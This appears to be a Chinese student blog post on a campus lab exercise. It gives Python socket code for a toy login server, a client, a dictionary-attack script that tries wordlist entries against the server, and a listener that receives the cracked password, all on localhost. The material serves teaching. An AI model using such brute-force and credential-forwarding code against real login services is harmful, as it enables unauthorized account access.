• 字典破解密码实验(Python3)


    必须吐槽一下,校内实习真的服,都不知道这些老师那里搜的题,这也就算了,不能读一遍看看能不能读的通顺,看着这种读不通的题做都不想做

    先写一个系统,实现客户端远程登录服务端:

    服务端代码:

    import socket,os
    #创建套接字
    s=socket.socket()
    #设置关闭套接字时立刻释放端口
    s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
    #绑定服务端端口
    s.bind(('',1234))
    #开始监听
    s.listen(1)
    #账号和密码
    user={"admin":"123456","user":"1234567","guest":"123456"}
    #接收连接的客户端的信息
    sock,addr=s.accept()
    print(addr[0]+"已连接")
    while 1:
    	#接收客户端发送的信息
        receive=sock.recv(1024).decode()
        receive=receive.split()
    	#判断账号密码是否正确,正确发送T,错误发送F
        if user[receive[0]]==receive[1]:
            sock.send("T".encode())
            break
        else:
            sock.send("F".encode())
    sock.close()
    s.close()
    
    
    os.system("pause")

    客户端代码:

    import socket,os
    c=socket.socket()
    #连接服务端,服务端ip地址:127.0.0.1,端口:1234
    c.connect(('127.0.0.1',1234))
    while 1:
    	uspw=input("输入账号和密码,空格隔开:")
    	#发送账号密码给服务端
    	c.send(uspw.encode())
    	#接收服务端返回信息
    	receive=c.recv(1).decode()
    	if receive=="T":
    		print("登录成功")
    		break
    c.close()
    os.system("pause")

    然后是实现在服务器端所在设备进行字典破解,并发送到客户端所在设备的密码接收端:

    字典破解代码:

    import socket,os
    p=socket.socket()
    p.connect(('127.0.0.1',1234))
    us=input("输入要破解的用户名:")
    file=input("输入字典文件名:")
    #只读方式打开字典文件
    dic=open(file,'r')
    while 1:
    	#读取一行
        pasd=dic.readline()
    	#拼接用户名和密码
        sed=us+' '+pasd
    	#发送给服务端
        p.send(sed.encode())
        rec=p.recv(1).decode()
    	#服务端返回T说明密码正确
        if rec=="T":
            print("密码是:",pasd)
            break
    p.close()
    #发送给密码接收器
    p=socket.socket()
    p.connect(('127.0.0.1',6666))
    pasd="密码是:"+pasd
    p.send(pasd.encode())
    p.close()
    os.system("pause")

    密码接收端代码:

    import socket,os
    p=socket.socket()
    p.bind(('',6666))
    p.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
    p.listen(1)
    pr,ip=p.accept()
    print("正在接收密码...")
    passwd=pr.recv(1024).decode()
    #接收破解器发送的信息
    print(passwd)
    p.close()
    os.system("pause")

    在服务器运行服务端和字典破解程序,客户端运行密码接收器,获取破解的密码后用客户端登录

    运行结果:

    (1)

    (2)

    (3)

    源代码下载

  • 相关阅读:
    js回调函数
    axios如何先请求A接口然后在请求B接口
    蓝桥杯省赛 区间移位(二分+玄学贪心)
    P1403 [AHOI2005]约数研究(筛法)
    P1029 最大公约数和最小公倍数问题(数论水题)
    洛谷P1147连续自然数和(前缀和)
    洛谷P1017进制转换(进制转换/取模)
    洛谷P1088火星人(stl/全排列)
    Codeforces Round #625 (Div. 2, based on Technocup 2020 Final Round) D. Navigation System(最短路)
    Codeforces Round #625 (Div. 2, based on Technocup 2020 Final Round) C. Remove Adjacent(贪心+暴力)
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13302378.html
Copyright © 2020-2023  润新知